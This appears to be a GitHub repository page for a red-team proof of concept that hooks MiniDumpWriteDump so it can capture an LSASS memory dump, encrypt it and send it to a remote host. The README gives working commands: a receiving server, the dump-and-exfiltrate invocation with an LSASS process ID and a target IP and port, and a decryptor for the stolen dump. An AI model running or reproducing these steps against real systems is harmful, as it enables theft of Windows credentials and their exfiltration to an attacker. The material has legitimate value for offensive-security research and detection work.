gmh5225 / MiniDumpWriteDumpPoC

MiniDumpWriteDump behavior modification hook

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

MiniDumpWriteDumpPoC

MiniDumpWriteDump behavior modification hook

Read the full article in our blog: Adepts Of 0xCC: Hooks On Hoot Off

This is a function hook that allows to access the buffer generated by MiniDumpWriteDump before it gets to disk.

Once accessed, it will encrypt the buffer and send it through a socket to a given host.

Compilation

A full VS solution is provided. Just compile it.

Usage

First, set up the server to listen on the receiving host:

python3 serv.py <PORT>

    python3 serv.py 1234
.\minidumppoc.exe <LSASS_PID> <WRITE_TO_FILE 0|1> <EXFIL 0|1> [<HOST> <PORT>] [<EXPORT_PATH>]

    minidump.exe 696 1 1 '192.168.1.10' 1234 "c:\test.dmp"

Once the whole file is received, close the server, and use the dummy decryptor:

python3 dec.py woot.dmp woot_decrypted.dmp 0xb0

About

MiniDumpWriteDump behavior modification hook


Languages

Language:C++ 84.1%Language:Python 9.6%Language:C 6.3%